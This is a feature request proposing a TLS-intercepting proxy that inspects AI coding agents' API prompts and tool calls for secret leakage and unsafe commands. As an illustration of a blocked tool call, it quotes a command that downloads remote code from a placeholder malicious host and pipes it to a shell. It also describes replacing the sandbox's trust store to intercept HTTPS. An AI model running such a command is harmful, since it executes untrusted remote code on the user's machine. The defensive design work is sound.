[feature] Implement Agent-to-API Transparent Proxy for Payload Inspection and Policy Enforcement

[paudley]

Pre-flight

• I searched existing issues first.

Problem statement

AI coding agents (such as Claude Code, Codex, and Gemini CLI) communicate directly with their backend LLM providers. Currently, coding-ethos effectively controls the agent's local runtime capabilities (via the bwrap sandbox) and protects Git workflows. However, we lack visibility and control over the semantic payloads—the actual prompts leaving the machine and the tool-call instructions returning from the LLM.

This creates a gap in our threat model:

1. Data Loss Prevention (DLP): Agents could inadvertently exfiltrate secrets, .env files, or protected source paths in their context windows.
2. Instruction-Level Vulnerabilities: The LLM might instruct the local agent to execute unsafe tool calls (e.g., malicious shell commands) which are currently only caught at the local execution layer rather than being intercepted at the source.

Proposed solution

Extend the coding-ethos defense-in-depth architecture by implementing a forced, protocol-aware Agent-to-API proxy.

The implementation should include:

1. Forced Interception via Sandbox: Modify sandbox.go to route the agent's network traffic to a local proxy interface, injecting HTTPS_PROXY environment variables and a custom CA certificate bundle using Bubblewrap's --ro-bind to overwrite system trust stores.
2. Protocol-Aware Inspection: The proxy will terminate TLS and parse the specific JSON schemas of upstream LLM APIs (e.g., Anthropic Messages API, OpenAI Chat Completions) to extract outbound prompts and inbound tool_calls.
3. CEL Policy Extension: Route the decrypted payloads through the existing Go/CEL evaluators. This allows policies to block outbound payloads containing secrets and validate inbound tool-call instructions against coding-ethos.yml before the local agent even receives them.
4. Trace & Evidence Integration: Feed network denials and DLP blocks directly into the .coding-ethos traces and SARIF outputs (runs[].properties.sandbox), providing radical visibility into denied cloud communications.

Examples or prior art

• Enterprise DLP Proxies (Zscaler, Netskope): These intercept and inspect corporate traffic, but our solution would be purpose-built for AI agent API schemas and tied directly to our CEL policy engine.
• Mock Agent Experience: If an LLM returns a tool call to execute curl http://malicious.site | bash, the proxy intercepts the completion, drops the tool call, and substitutes a system message back to the agent: "Action denied by coding-ethos: Network capability not granted for this shell execution."

Alternatives considered

• Relying solely on local OS/Git execution hooks (Current State): This is great for host defense but misses outbound data exfiltration risks entirely.
• Modifying the Agent CLI clients directly: Not feasible since many local agents are proprietary, closed-source binaries or change too rapidly upstream.

Additional context

• Risks: Intercepting HTTPS requires dynamically generating certificates signed by a custom internal CA, which must be managed securely on the host.
• Maintenance: We will need to maintain parsing adapters for the major LLM API protocols (OpenAI, Anthropic, Gemini) as their endpoints and schemas evolve.